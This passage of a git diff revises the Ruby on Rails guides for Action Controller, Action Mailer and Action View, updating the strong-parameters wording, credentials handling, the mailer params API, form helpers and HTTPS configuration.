+Action Controller is the C in [MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller). After the router has determined which controller to use for a request, the controller is responsible for making sense of the request, and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
-For most conventional [RESTful](http://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+For most conventional [RESTful](https://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model, and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
A controller can thus be thought of as a middleman between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates user data to the model.
@@ -51,7 +51,7 @@ class ClientsController < ApplicationController
end
```
-As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and call its `new` method. Note that the empty method from the example above would work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new `Client`:
+As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and call its `new` method. Note that the empty method from the example above would work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. By creating a new `Client`, the `new` method can make a `@client` instance variable accessible in the view:
```ruby
def new
@@ -61,7 +61,7 @@ end
The [Layouts & Rendering Guide](layouts_and_rendering.html) explains this in more detail.
-`ApplicationController` inherits from `ActionController::Base`, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
+`ApplicationController` inherits from `ActionController::Base`, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the [API documentation](http://api.rubyonrails.org/classes/ActionController.html) or in the source itself.
Only public methods are callable as actions. It is a best practice to lower the visibility of methods (with `private` or `protected`) which are not intended to be actions, like auxiliary methods or filters.
@@ -193,8 +193,8 @@ In a given request, the method is not actually called for every single generated
With strong parameters, Action Controller parameters are forbidden to
be used in Active Model mass assignments until they have been
-whitelisted. This means that you'll have to make a conscious decision about
-which attributes to allow for mass update. This is a better security
+permitted. This means that you'll have to make a conscious decision about
+which attributes to permit for mass update. This is a better security
practice to help prevent accidentally allowing users to update sensitive
model attributes.
@@ -241,7 +241,7 @@ Given
params.permit(:id)
```
-the key `:id` will pass the whitelisting if it appears in `params` and
+the key `:id` will be permitted for inclusion if it appears in `params` and
it has a permitted scalar value associated. Otherwise, the key is going
to be filtered out, so arrays, hashes, or any other objects cannot be
injected.
@@ -269,7 +269,7 @@ but be careful because this opens the door to arbitrary input. In this
case, `permit` ensures values in the returned structure are permitted
scalars and filters out anything else.
-To whitelist an entire hash of parameters, the `permit!` method can be
+To permit an entire hash of parameters, the `permit!` method can be
used:
```ruby
@@ -291,7 +291,7 @@ params.permit(:name, { emails: [] },
{ family: [ :name ], hobbies: [] }])
```
-This declaration whitelists the `name`, `emails`, and `friends`
+This declaration permits the `name`, `emails`, and `friends`
attributes. It is expected that `emails` will be an array of permitted
scalar values, and that `friends` will be an array of resources with
specific attributes: they should have a `name` attribute (any
@@ -326,7 +326,7 @@ parameters when you use `accepts_nested_attributes_for` in combination
with a `has_many` association:
```ruby
-# To whitelist the following data:
+# To permit the following data:
# {"book" => {"title" => "Some Book",
# "chapters_attributes" => { "1" => {"title" => "First Chapter"},
# "2" => {"title" => "Second Chapter"}}}}
@@ -334,26 +334,24 @@ with a `has_many` association:
params.require(:book).permit(:title, chapters_attributes: [:title])
```
-#### Outside the Scope of Strong Parameters
-
-The strong parameter API was designed with the most common use cases
-in mind. It is not meant as a silver bullet to handle all of your
-whitelisting problems. However, you can easily mix the API with your
-own code to adapt to your situation.
-
Imagine a scenario where you have parameters representing a product
name and a hash of arbitrary data associated with that product, and
-you want to whitelist the product name attribute and also the whole
-data hash. The strong parameters API doesn't let you directly
-whitelist the whole of a nested hash with any keys, but you can use
-the keys of your nested hash to declare what to whitelist:
+you want to permit the product name attribute and also the whole
+data hash:
```ruby
def product_params
- params.require(:product).permit(:name, data: params[:product][:data].try(:keys))
+ params.require(:product).permit(:name, data: {})
end
```
+#### Outside the Scope of Strong Parameters
+
+The strong parameter API was designed with the most common use cases
+in mind. It is not meant as a silver bullet to handle all of your
+parameter filtering problems. However, you can easily mix the API with your
+own code to adapt to your situation.
+
Session
-------
@@ -397,34 +395,18 @@ You can also pass a `:domain` key and specify the domain name for the cookie:
Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
```
-Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/secrets.yml`
+Rails sets up (for the CookieStore) a secret key used for signing the session data in `config/credentials.yml.enc`. This can be changed with `rails credentials:edit`.
```ruby
-# Be sure to restart your server when you modify this file.
-
-# Your secret key is used for verifying the integrity of signed cookies.
-# If you change this key, all old signed cookies will become invalid!
-
-# Make sure the secret is at least 30 characters and all random,
-# no regular words or you'll be exposed to dictionary attacks.
-# You can use `rails secret` to generate a secure secret key.
+# aws:
+# access_key_id: 123
+# secret_access_key: 345
-# Make sure the secrets in this file are kept private
-# if you're sharing your code publicly.
-
-development:
- secret_key_base: a75d...
-
-test:
- secret_key_base: 492f...
-
-# Do not keep production secrets in the repository,
-# instead read values from the environment.
-production:
- secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies.
+secret_key_base: 492f...
```
-NOTE: Changing the secret when using the `CookieStore` will invalidate all existing sessions.
+NOTE: Changing the secret_key_base when using the `CookieStore` will invalidate all existing sessions.
### Accessing the Session
@@ -466,14 +448,16 @@ class LoginsController < ApplicationController
end
```
-To remove something from the session, assign that key to be `nil`:
+To remove something from the session, delete the key/value pair:
```ruby
class LoginsController < ApplicationController
# "Delete" a login, aka "log the user out"
def destroy
# Remove the user id from the session
- @_current_user = session[:current_user_id] = nil
+ session.delete(:current_user_id)
+ # Clear the memoized current user
+ @_current_user = nil
redirect_to root_url
end
end
@@ -492,7 +476,7 @@ Let's use the act of logging out as an example. The controller can send a messag
```ruby
class LoginsController < ApplicationController
def destroy
- session[:current_user_id] = nil
+ session.delete(:current_user_id)
flash[:notice] = "You have successfully logged out."
redirect_to root_url
end
@@ -670,8 +654,8 @@ class UsersController < ApplicationController
@users = User.all
respond_to do |format|
format.html # index.html.erb
- format.xml { render xml: @users}
- format.json { render json: @users}
+ format.xml { render xml: @users }
+ format.json { render json: @users }
end
end
end
@@ -715,11 +699,14 @@ end
Now, the `LoginsController`'s `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to skip this filter only for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+NOTE: Calling the same filter multiple times with different options will not work,
+since the last filter definition will overwrite the previous ones.
+
### After Filters and Around Filters
In addition to "before" filters, you can also run filters after an action has been executed, or both before and after.
-"after" filters are similar to "before" filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, "after" filters cannot stop the action from running.
+"after" filters are similar to "before" filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, "after" filters cannot stop the action from running. Please note that "after" filters are executed only after a successful action, but not when an exception is raised in the request cycle.
"around" filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work.
@@ -788,18 +775,18 @@ Again, this is not an ideal example for this filter, because it's not run in the
Request Forgery Protection
--------------------------
-Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
+Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying, or deleting data on that site without the user's knowledge or permission.
-The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
+The first step to avoid this is to make sure all "destructive" actions (create, update, and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
If you generate a form like this:
```erb
-<%= form_for @user do |f| %>
- <%= f.text_field :username %>
- <%= f.text_field :password %>
+<%= form_with model: @user, local: true do |form| %>
+ <%= form.text_field :username %>
+ <%= form.text_field :password %>
<% end %>
```
@@ -868,7 +855,7 @@ If you want to set custom headers for a response then `response.headers` is the
response.headers["Content-Type"] = "application/pdf"
```
-Note: in the above case it would make more sense to use the `content_type` setter directly.
+NOTE: In the above case it would make more sense to use the `content_type` setter directly.
HTTP Authentications
--------------------
@@ -1129,7 +1116,7 @@ Rails default exception handling displays a "500 Server Error" message for all e
### The Default 500 and 404 Templates
-By default a production application will render either a 404 or a 500 error message, in the development environment all unhandled exceptions are raised. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and style, but remember that they are static HTML; i.e. you can't use ERB, SCSS, CoffeeScript, or layouts for them.
+By default a production application will render either a 404 or a 500 error message, in the development environment all unhandled exceptions are raised. These messages are contained in static HTML files in the public folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and style, but remember that they are static HTML; i.e. you can't use ERB, SCSS, CoffeeScript, or layouts for them.
### `rescue_from`
@@ -1183,7 +1170,7 @@ class ClientsController < ApplicationController
end
```
-WARNING: You shouldn't do `rescue_from Exception` or `rescue_from StandardError` unless you have a particular reason as it will cause serious side-effects (e.g. you won't be able to see exception details and tracebacks during development).
+WARNING: Using `rescue_from` with `Exception` or `StandardError` would cause serious side-effects as it prevents Rails from handling exceptions properly. As such, it is not recommended to do so unless there is a strong reason.
NOTE: When running in the production environment, all
`ActiveRecord::RecordNotFound` errors render the 404 error page. Unless you need
@@ -1194,22 +1181,6 @@ NOTE: Certain exceptions are only rescuable from the `ApplicationController` cla
Force HTTPS protocol
--------------------
-Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. You can use the `force_ssl` method in your controller to enforce that:
-
-```ruby
-class DinnerController
- force_ssl
-end
-```
-
-Just like the filter, you could also pass `:only` and `:except` to enforce the secure connection only to specific actions:
-
-```ruby
-class DinnerController
- force_ssl only: :cheeseburger
- # or
- force_ssl except: :cheeseburger
-end
-```
-
-Please note that if you find yourself adding `force_ssl` to many controllers, you may want to force the whole application to use HTTPS instead. In that case, you can set the `config.force_ssl` in your environment file.
+If you'd like to ensure that communication to your controller is only possible
+via HTTPS, you should do so by enabling the `ActionDispatch::SSL` middleware via
+`config.force_ssl` in your environment configuration.
diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md
index 380fdac658..406615f681 100644
--- a/guides/source/action_mailer_basics.md
+++ b/guides/source/action_mailer_basics.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Action Mailer Basics
====================
@@ -20,9 +20,18 @@ Introduction
------------
Action Mailer allows you to send emails from your application using mailer classes
-and views. Mailers work very similarly to controllers. They inherit from
-`ActionMailer::Base` and live in `app/mailers`, and they have associated views
-that appear in `app/views`.
+and views.
+
+#### Mailers are similar to controllers
+
+They inherit from `ActionMailer::Base` and live in `app/mailers`. Mailers also work
+very similarly to controllers. Some examples of similarities are enumerated below.
+Mailers have:
+
+* Actions, and also, associated views that appear in `app/views`.
+* Instance variables that are accessible in views.
+* The ability to utilise layouts and partials.
+* The ability to access a params hash.
Sending Emails
--------------
@@ -35,7 +44,7 @@ views.
#### Create the Mailer
```bash
-$ bin/rails generate mailer UserMailer
+$ rails generate mailer UserMailer
create app/mailers/user_mailer.rb
create app/mailers/application_mailer.rb
invoke erb
@@ -60,11 +69,10 @@ end
```
As you can see, you can generate mailers just like you use other generators with
-Rails. Mailers are conceptually similar to controllers, and so we get a mailer,
-a directory for views, and a test.
+Rails.
If you didn't want to use a generator, you could create your own file inside of
-app/mailers, just make sure that it inherits from `ActionMailer::Base`:
+`app/mailers`, just make sure that it inherits from `ActionMailer::Base`:
```ruby
class MyMailer < ActionMailer::Base
@@ -73,10 +81,9 @@ end
#### Edit the Mailer
-Mailers are very similar to Rails controllers. They also have methods called
-"actions" and use views to structure the content. Where a controller generates
-content like HTML to send back to the client, a Mailer creates a message to be
-delivered via email.
+Mailers have methods called "actions" and they use views to structure their content.
+Where a controller generates content like HTML to send back to the client, a Mailer
+creates a message to be delivered via email.
`app/mailers/user_mailer.rb` contains an empty mailer:
@@ -92,8 +99,8 @@ registered email address:
class UserMailer < ApplicationMailer
default from: 'notifications@example.com'
- def welcome_email(user)
- @user = user
+ def welcome_email
+ @user = params[:user]
@url = 'http://example.com/login'
mail(to: @user.email, subject: 'Welcome to My Awesome Site')
end
@@ -110,9 +117,6 @@ messages in this class. This can be overridden on a per-email basis.
* `mail` - The actual email message, we are passing the `:to` and `:subject`
headers in.
-Just like controllers, any instance variables we define in the method become
-available for use in the views.
-
#### Create a Mailer View
Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This
@@ -169,14 +173,14 @@ Setting this up is painfully simple.
First, let's create a simple `User` scaffold:
```bash
-$ bin/rails generate scaffold user name email login
-$ bin/rails db:migrate
+$ rails generate scaffold user name email login
+$ rails db:migrate
```
Now that we have a user model to play with, we will just edit the
`app/controllers/users_controller.rb` make it instruct the `UserMailer` to deliver
an email to the newly created user by editing the create action and inserting a
-call to `UserMailer.welcome_email` right after the user is successfully saved.
+call to `UserMailer.with(user: @user).welcome_email` right after the user is successfully saved.
Action Mailer is nicely integrated with Active Job so you can send emails outside
of the request-response cycle, so the user doesn't have to wait on it:
@@ -191,7 +195,7 @@ class UsersController < ApplicationController
respond_to do |format|
if @user.save
# Tell the UserMailer to send a welcome email after save
- UserMailer.welcome_email(@user).deliver_later
+ UserMailer.with(user: @user).welcome_email.deliver_later
format.html { redirect_to(@user, notice: 'User was successfully created.') }
format.json { render json: @user, status: :created, location: @user }
@@ -213,6 +217,8 @@ pending jobs on restart.
If you need a persistent backend, you will need to use an Active Job adapter
that has a persistent backend (Sidekiq, Resque, etc).
+NOTE: When calling `deliver_later` the job will be placed under `mailers` queue. Make sure Active Job adapter support it otherwise the job may be silently ignored preventing email delivery. You can change that by specifying `config.action_mailer.deliver_later_queue_name` option.
+
If you want to send emails right away (from a cronjob for example) just call
`deliver_now`:
@@ -220,16 +226,21 @@ If you want to send emails right away (from a cronjob for example) just call
class SendWeeklySummary
def run
User.find_each do |user|
- UserMailer.weekly_summary(user).deliver_now
+ UserMailer.with(user: user).weekly_summary.deliver_now
end
end
end
```
+Any key value pair passed to `with` just becomes the `params` for the mailer
+action. So `with(user: @user, account: @user.account)` makes `params[:user]` and
+`params[:account]` available in the mailer action. Just like controllers have
+params.
+
The method `welcome_email` returns an `ActionMailer::MessageDelivery` object which
can then just be told `deliver_now` or `deliver_later` to send itself out. The
`ActionMailer::MessageDelivery` object is just a wrapper around a `Mail::Message`. If
-you want to inspect, alter or do anything else with the `Mail::Message` object you can
+you want to inspect, alter, or do anything else with the `Mail::Message` object you can
access it with the `message` method on the `ActionMailer::MessageDelivery` object.
### Auto encoding header values
@@ -261,7 +272,7 @@ Action Mailer makes it very easy to add attachments.
* Pass the file name and content and Action Mailer and the
[Mail gem](https://github.com/mikel/mail) will automatically guess the
- mime_type, set the encoding and create the attachment.
+ mime_type, set the encoding, and create the attachment.
```ruby
attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
@@ -331,7 +342,7 @@ with the addresses separated by commas.
```ruby
class AdminMailer < ApplicationMailer
- default to: Proc.new { Admin.pluck(:email) },
+ default to: -> { Admin.pluck(:email) },
from: 'notification@example.com'
def new_registration(user)
@@ -351,8 +362,8 @@ address when they receive the email. The trick to doing that is to format the
email address in the format `"Full Name" <email>`.
```ruby
-def welcome_email(user)
- @user = user
+def welcome_email
+ @user = params[:user]
email_with_name = %("#{@user.name}" <#{@user.email}>)
mail(to: email_with_name, subject: 'Welcome to My Awesome Site')
end
@@ -372,8 +383,8 @@ To change the default mailer view for your action you do something like:
class UserMailer < ApplicationMailer
default from: 'notifications@example.com'
- def welcome_email(user)
- @user = user
+ def welcome_email
+ @user = params[:user]
@url = 'http://example.com/login'
mail(to: @user.email,
subject: 'Welcome to My Awesome Site',
@@ -394,8 +405,8 @@ templates or even render inline or text without using a template file:
class UserMailer < ApplicationMailer
default from: 'notifications@example.com'
- def welcome_email(user)
- @user = user
+ def welcome_email
+ @user = params[:user]
@url = 'http://example.com/login'
mail(to: @user.email,
subject: 'Welcome to My Awesome Site') do |format|
@@ -411,9 +422,24 @@ use the rendered text for the text part. The render command is the same one used
inside of Action Controller, so you can use all the same options, such as
`:text`, `:inline` etc.
+If you would like to render a template located outside of the default `app/views/mailer_name/` directory, you can apply the `prepend_view_path`, like so:
+
+```ruby
+class UserMailer < ApplicationMailer
+ prepend_view_path "custom/path/to/mailer/view"
+
+ # This will try to load "custom/path/to/mailer/view/welcome_email" template
+ def welcome_email
+ # ...
+ end
+end
+```
+
+You can also consider using the [append_view_path](https://guides.rubyonrails.org/action_view_overview.html#view-paths) method.
+
#### Caching mailer view
-You can do cache in mailer views like in application views using `cache` method.
+You can perform fragment caching in mailer views like in application views using the `cache` method.
```
<% cache do %>
@@ -427,6 +453,9 @@ And in order to use this feature, you need to configure your application with th
config.action_mailer.perform_caching = true
```
+Fragment caching is also supported in multipart emails.
+Read more about caching in the [Rails caching guide](caching_with_rails.html).
+
### Action Mailer Layouts
Just like controller views, you can also have mailer layouts. The layout name
@@ -450,8 +479,8 @@ the format block to specify different layouts for different formats:
```ruby
class UserMailer < ApplicationMailer
- def welcome_email(user)
- mail(to: user.email) do |format|
+ def welcome_email
+ mail(to: params[:user].email) do |format|
format.html { render layout: 'my_layout' }
format.text
end
@@ -474,7 +503,7 @@ special URL that renders them. In the above example, the preview class for
```ruby
class UserMailerPreview < ActionMailer::Preview
def welcome_email
- UserMailer.welcome_email(User.first)
+ UserMailer.with(user: User.first).welcome_email
end
end
```
@@ -550,8 +579,9 @@ url helper.
<%= user_url(@user, host: 'example.com') %>
```
-NOTE: non-`GET` links require [jQuery UJS](https://github.com/rails/jquery-ujs)
-and won't work in mailer templates. They will result in normal `GET` requests.
+NOTE: non-`GET` links require [rails-ujs](https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts) or
+[jQuery UJS](https://github.com/rails/jquery-ujs), and won't work in mailer templates.
+They will result in normal `GET` requests.
### Adding images in Action Mailer Views
@@ -559,7 +589,7 @@ Unlike controllers, the mailer instance doesn't have any context about the
incoming request so you'll need to provide the `:asset_host` parameter yourself.
As the `:asset_host` usually is consistent across the application you can
-configure it globally in config/application.rb:
+configure it globally in `config/application.rb`:
```ruby
config.action_mailer.asset_host = 'http://example.com'
@@ -590,12 +620,12 @@ mailer action.
```ruby
class UserMailer < ApplicationMailer
- def welcome_email(user, company)
- @user = user
+ def welcome_email
+ @user = params[:user]
@url = user_url(@user)
- delivery_options = { user_name: company.smtp_user,
- password: company.smtp_password,
- address: company.smtp_host }
+ delivery_options = { user_name: params[:company].smtp_user,
+ password: params[:company].smtp_password,
+ address: params[:company].smtp_host }
mail(to: @user.email,
subject: "Please see the Terms and Conditions attached",
delivery_method_options: delivery_options)
@@ -612,9 +642,9 @@ will default to `text/plain` otherwise.
```ruby
class UserMailer < ApplicationMailer
- def welcome_email(user, email_body)
- mail(to: user.email,
- body: email_body,
+ def welcome_email
+ mail(to: params[:user].email,
+ body: params[:email_body],
content_type: "text/html",
subject: "Already rendered!")
end
@@ -673,24 +703,43 @@ Action Mailer allows for you to specify a `before_action`, `after_action` and
* You could use a `before_action` to populate the mail object with defaults,
delivery_method_options or insert default headers and attachments.
+```ruby
+class InvitationsMailer < ApplicationMailer
+ before_action { @inviter, @invitee = params[:inviter], params[:invitee] }
+ before_action { @account = params[:inviter].account }
+
+ default to: -> { @invitee.email_address },
+ from: -> { common_address(@inviter) },
+ reply_to: -> { @inviter.email_address_with_name }
+
+ def account_invitation
+ mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
+ end
+
+ def project_invitation
+ @project = params[:project]
+ @summarizer = ProjectInvitationSummarizer.new(@project.bucket)
+
+ mail subject: "#{@inviter.name.familiar} added you to a project in Basecamp (#{@account.name})"
+ end
+end
+```
+
* You could use an `after_action` to do similar setup as a `before_action` but
using instance variables set in your mailer action.
```ruby
class UserMailer < ApplicationMailer
+ before_action { @business, @user = params[:business], params[:user] }
+
after_action :set_delivery_options,
:prevent_delivery_to_guests,
:set_business_headers
- def feedback_message(business, user)
- @business = business
- @user = user
- mail
+ def feedback_message
end
- def campaign_message(business, user)
- @business = business
- @user = user
+ def campaign_message
end
private
@@ -738,7 +787,7 @@ files (environment.rb, production.rb, etc...)
|`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i`.</li></ul>|
|`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.|
|`delivery_method`|Defines a delivery method. Possible values are:<ul><li>`:smtp` (default), can be configured by using `config.action_mailer.smtp_settings`.</li><li>`:sendmail`, can be configured by using `config.action_mailer.sendmail_settings`.</li><li>`:file`: save emails to files; can be configured by using `config.action_mailer.file_settings`.</li><li>`:test`: save emails to `ActionMailer::Base.deliveries` array.</li></ul>See [API docs](http://api.rubyonrails.org/classes/ActionMailer/Base.html) for more info.|
-|`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
+|`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing. If this value is `false`, `deliveries` array will not be populated even if delivery_method is :test.|
|`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
|`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).|
@@ -777,10 +826,11 @@ config.action_mailer.smtp_settings = {
user_name: '<username>',
password: '<password>',
authentication: 'plain',
- enable_starttls_auto: true }
+ enable_starttls_auto: true }
```
-Note: As of July 15, 2014, Google increased [its security measures](https://support.google.com/accounts/answer/6010255) and now blocks attempts from apps it deems less secure.
-You can change your gmail settings [here](https://www.google.com/settings/security/lesssecureapps) to allow the attempts or
+NOTE: As of July 15, 2014, Google increased [its security measures](https://support.google.com/accounts/answer/6010255) and now blocks attempts from apps it deems less secure.
+You can change your Gmail settings [here](https://www.google.com/settings/security/lesssecureapps) to allow the attempts. If your Gmail account has 2-factor authentication enabled,
+then you will need to set an [app password](https://myaccount.google.com/apppasswords) and use that instead of your regular password. Alternatively, you can
use another ESP to send email by replacing 'smtp.gmail.com' above with the address of your provider.
Mailer Testing
diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md
index c835adeab6..495ae9d267 100644
--- a/guides/source/action_view_overview.md
+++ b/guides/source/action_view_overview.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Action View Overview
====================
@@ -7,7 +7,7 @@ After reading this guide, you will know:
* What Action View is and how to use it with Rails.
* How best to use templates, partials, and layouts.
-* What helpers are provided by Action View and how to make your own.
+* What helpers are provided by Action View.
* How to use localized views.
--------------------------------------------------------------------------------
@@ -29,7 +29,7 @@ For each controller there is an associated directory in the `app/views` director
Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:
```bash
-$ bin/rails generate scaffold article
+$ rails generate scaffold article
[...]
invoke scaffold_controller
create app/controllers/articles_controller.rb
@@ -48,7 +48,7 @@ For example, the index controller action of the `articles_controller.rb` will us
The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Within this guide you will find more detailed documentation about each of these three components.
-Templates, Partials and Layouts
+Templates, Partials, and Layouts
-------------------------------
As mentioned, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`.
@@ -62,7 +62,7 @@ Rails supports multiple template systems and uses a file extension to distinguis
#### ERB
-Within an ERB template, Ruby code can be included using both `<% %>` and `<%= %>` tags. The `<% %>` tags are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the `<%= %>` tags are used when you want output.
+Within an ERB template, Ruby code can be included using both `<% %>` and `<%= %>` tags. The `<% %>` tags are used to execute Ruby code that does not return anything, such as conditions, loops, or blocks, and the `<%= %>` tags are used when you want output.
Consider the following loop for names:
@@ -149,10 +149,10 @@ end
#### Jbuilder
[Jbuilder](https://github.com/rails/jbuilder) is a gem that's
-maintained by the Rails team and included in the default Rails Gemfile.
+maintained by the Rails team and included in the default Rails `Gemfile`.
It's similar to Builder, but is used to generate JSON, instead of XML.
-If you don't have it, you can add the following to your Gemfile:
+If you don't have it, you can add the following to your `Gemfile`:
```ruby
gem 'jbuilder'
@@ -414,12 +414,12 @@ By default, Rails links to these assets on the current host in the public folder
```ruby
config.action_controller.asset_host = "assets.example.com"
-image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
+image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" />
```
#### auto_discovery_link_tag
-Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed.
+Returns a link tag that browsers and feed readers can use to auto-detect an RSS, Atom, or JSON feed.
```ruby
auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" }) # =>
@@ -453,7 +453,7 @@ image_url("edit.png") # => http://www.example.com/assets/edit.png
Returns an HTML image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory.
```ruby
-image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
+image_tag("icon.png") # => <img src="/assets/icon.png" />
```
#### javascript_include_tag
@@ -464,25 +464,6 @@ Returns an HTML script tag for each of the sources provided. You can pass in the
javascript_include_tag "common" # => <script src="/assets/common.js"></script>
```
-If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass `:defaults` as the source. When using `:defaults`, if an `application.js` file exists in your `app/assets/javascripts` directory, it will be included as well.
-
-```ruby
-javascript_include_tag :defaults
-```
-
-You can also include all JavaScript files in the `app/assets/javascripts` directory using `:all` as the source.
-
-```ruby
-javascript_include_tag :all
-```
-
-You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if `ActionController::Base.perform_caching` is set to true (which is the case by default for the Rails production environment, but not for the development environment).
-
-```ruby
-javascript_include_tag :all, cache: true # =>
- <script src="/javascripts/all.js"></script>
-```
-
#### javascript_path
Computes the path to a JavaScript asset in the `app/assets/javascripts` directory. If the source filename has no extension, `.js` will be appended. Full paths from the document root will be passed through. Used internally by `javascript_include_tag` to build the script path.
@@ -507,22 +488,9 @@ Returns a stylesheet link tag for the sources specified as arguments. If you don
stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" />
```
-You can also include all styles in the stylesheet directory using `:all` as the source:
-
-```ruby
-stylesheet_link_tag :all
-```
-
-You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).
-
-```ruby
-stylesheet_link_tag :all, cache: true
-# => <link href="/assets/all.css" media="screen" rel="stylesheet" />
-```
-
#### stylesheet_path
-Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, `.css` will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
+Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, `.css` will be appended. Full paths from the document root will be passed through. Used internally by `stylesheet_link_tag` to build the stylesheet path.
```ruby
stylesheet_path "application" # => /assets/application.css
@@ -792,7 +760,7 @@ time_ago_in_words(3.minutes.from_now) # => 3 minutes
#### time_select
-Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
+Returns a set of select tags (one for hour, minute, and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
```ruby
# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute
@@ -839,20 +807,22 @@ The core method of this helper, `form_for`, gives you the ability to create a fo
The HTML generated for this would be:
```html
-<form action="/people/create" method="post">
- <input id="person_first_name" name="person[first_name]" type="text" />
- <input id="person_last_name" name="person[last_name]" type="text" />
- <input name="commit" type="submit" value="Create" />
+<form class="new_person" id="new_person" action="/people" accept-charset="UTF-8" method="post">
+ <input name="utf8" type="hidden" value="&#x2713;" />
+ <input type="hidden" name="authenticity_token" value="lTuvBzs7ANygT0NFinXj98tfw3Emfm65wwYLbUvoWsK2pngccIQSUorM2C035M9dZswXgWTvKwFS8W5TVblpYw==" />
+ <input type="text" name="person[first_name]" id="person_first_name" />
+ <input type="text" name="person[last_name]" id="person_last_name" />
+ <input type="submit" name="commit" value="Create" data-disable-with="Create" />
</form>
```
The params object created when this form is submitted would look like:
```ruby
-{ "action" => "create", "controller" => "people", "person" => { "first_name" => "William", "last_name" => "Smith" } }
